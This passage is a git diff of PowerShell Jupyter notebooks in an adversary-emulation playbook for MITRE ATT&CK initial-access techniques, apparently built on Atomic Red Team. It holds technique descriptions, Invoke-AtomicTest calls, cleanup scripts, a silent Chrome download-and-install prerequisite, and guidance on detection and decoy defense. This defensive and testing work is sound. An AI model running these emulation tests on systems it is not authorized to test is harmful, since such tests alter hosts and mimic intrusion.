PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)" }, { "cell_type": "markdown", - "id": "48940e92", + "id": "1a621e19", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "66dfac74", + "id": "7ba9fd09", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." }, { "cell_type": "markdown", - "id": "8ccbd8d7", + "id": "a6eb9608", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Account \n Create an account that is used for active defense purposes. \n\n A decoy account is one that is created specifically for defensive or deceptive purposes. It can be in the form of user accounts, service accounts, software accounts, etc. The decoy account can be used to make a system, service, or software look more realistic or to entice an action.\n#### Opportunity\nThere is an opportunity to introduce user accounts that are used to make a system look more realistic.\n#### Use Case\nA defender can create decoy user accounts which are used to make a decoy system or network look more realistic.\n#### Procedures\nCreate a user account with a specified job function. Populate the user account's groups, description, logon hours, etc., with decoy data that\u00a0looks normal in the environment.\nCreate a user that has a valid email account. Use this account in such a way that the email address could be harvested by the adversary. This can be monitored to see if it is used in future attacks.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1091.ipynb b/playbook/tactics/initial-access/T1091.ipynb index cac4410a..25fb90b0 100644 --- a/playbook/tactics/initial-access/T1091.ipynb +++ b/playbook/tactics/initial-access/T1091.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "54620db6", + "id": "20bc768f", "metadata": {}, "source": "# T1091 - Replication Through Removable Media\nAdversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled)." }, { "cell_type": "markdown", - "id": "4ce213f3", + "id": "61ab7fc3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "011fa21a", + "id": "da9513ac", "metadata": {}, "source": [ "### Atomic Test #1 - USB Malware Spread Simulation", @@ -27,34 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "01c87420", + "id": "ca69709c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1091 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "68f729b0", + "id": "41b7ae2b", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nRemove-Item -Path $Drive\\T1091Test1.txt -Force -ErrorAction Ignore\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2fdbecd3", + "id": "dfceeaa9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1091 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "51b34a43", + "id": "07fa0d0e", "metadata": {}, "source": "## Detection\nMonitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery." }, { "cell_type": "markdown", - "id": "1499a52f", + "id": "78ed7e08", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender can monitor systems for the use of removeable media.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1133.ipynb b/playbook/tactics/initial-access/T1133.ipynb index 309ad2c1..e4536eb2 100644 --- a/playbook/tactics/initial-access/T1133.ipynb +++ b/playbook/tactics/initial-access/T1133.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "d2935580", + "id": "557627a6", "metadata": {}, "source": "# T1133 - External Remote Services\nAdversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)" }, { "cell_type": "markdown", - "id": "cfe42d13", + "id": "ffbf2898", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2095954b", + "id": "cb1318a1", "metadata": {}, - "source": "### Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension\nRunning Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S\n\n```" + "source": "### Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension\nRunning Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.exe\" https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.exe\" /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7fa1928e", + "id": "de797b0e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "86c74d91", + "id": "3e7cbe6c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,34 +38,34 @@ { "cell_type": "code", "execution_count": null, - "id": "44d36cbe", + "id": "84bb2d3a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5fc49491", + "id": "395025d1", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$extList = \"fcfhplploccackoneaefokcmbjfbkenj\", \"fdcgdnkidjaadafnichfpabhfomcebme\"\n\nforeach ($extension in $extList) {\nRemove-Item -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -ErrorAction Ignore}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aa3f38e3", + "id": "9cf98cc3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bdf8a29f", + "id": "253b8e85", "metadata": {}, "source": "## Detection\nFollow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application." }, { "cell_type": "markdown", - "id": "7cb2c4d0", + "id": "7780b7bf", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to determine if an adversary already has valid account credentials for your network and if they are trying to use them access your network via remote services.\n#### Use Case\nA defender can setup a decoy VPN server and see if an adversary attempts to use valid account to authenticate to it.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1189.ipynb b/playbook/tactics/initial-access/T1189.ipynb index 75d7a874..7afb8683 100644 --- a/playbook/tactics/initial-access/T1189.ipynb +++ b/playbook/tactics/initial-access/T1189.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "deef5412", + "id": "860aae8d", "metadata": {}, - "source": "# T1189 - Drive-by Compromise\nAdversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)" + "source": "# T1189 - Drive-by Compromise\nAdversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)" }, { "cell_type": "markdown", - "id": "ce34e589", + "id": "a2aa135e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3edc8799", + "id": "5f4de014", "metadata": {}, "source": "## Detection\nFirewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system." }, { "cell_type": "markdown", - "id": "959cf769", + "id": "b918a2b1", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can use a decoy system to access a compromised website to see how it works (study the exploit sequence, collect relevant artifacts, etc.).\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1190.ipynb b/playbook/tactics/initial-access/T1190.ipynb index 516a54f6..213282e9 100644 --- a/playbook/tactics/initial-access/T1190.ipynb +++ b/playbook/tactics/initial-access/T1190.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "8b4c4558", + "id": "c67dc6d2", "metadata": {}, - "source": "# T1190 - Exploit Public-Facing Application\nAdversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)" + "source": "# T1190 - Exploit Public-Facing Application\nAdversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)" }, { "cell_type": "markdown", - "id": "48fa0718", + "id": "06a7236b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8593df06", + "id": "092ed54f", "metadata": {}, "source": "## Detection\nMonitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation." }, { "cell_type": "markdown", - "id": "59cea4ee", + "id": "fd951e53", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender can use decoy system running a public-facing application to see if an adversary attempts to compromise the system and learn their TTPs.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1192.ipynb b/playbook/tactics/initial-access/T1192.ipynb deleted file mode 100644 index c0a3a7a6..00000000 --- a/playbook/tactics/initial-access/T1192.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f001148b", - "metadata": {}, - "source": "# T1192 - Spearphishing Link\nSpearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)" - }, - { - "cell_type": "markdown", - "id": "ce935e6a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "dc8766a8", - "metadata": {}, - "source": "## Detection\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/initial-access/T1193.ipynb b/playbook/tactics/initial-access/T1193.ipynb deleted file mode 100644 index 547849fd..00000000 --- a/playbook/tactics/initial-access/T1193.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4c36e6c9", - "metadata": {}, - "source": "# T1193 - Spearphishing Attachment\nSpearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one." - }, - { - "cell_type": "markdown", - "id": "7bc7bf1e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "693fdaf5", - "metadata": {}, - "source": "## Detection\nNetwork intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/initial-access/T1194.ipynb b/playbook/tactics/initial-access/T1194.ipynb deleted file mode 100644 index f4fd7890..00000000 --- a/playbook/tactics/initial-access/T1194.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "01789bdd", - "metadata": {}, - "source": "# T1194 - Spearphishing via Service\nSpearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working." - }, - { - "cell_type": "markdown", - "id": "eb3e51d9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1f5638c6", - "metadata": {}, - "source": "## Detection\nBecause most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/initial-access/T1195.001.ipynb b/playbook/tactics/initial-access/T1195.001.ipynb index 1eab33d0..e3372840 100644 --- a/playbook/tactics/initial-access/T1195.001.ipynb +++ b/playbook/tactics/initial-access/T1195.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "48895648", + "id": "be93213a", "metadata": {}, "source": "# T1195.001 - Compromise Software Dependencies and Development Tools\nAdversaries may manipulate software dependencies and development tools prior 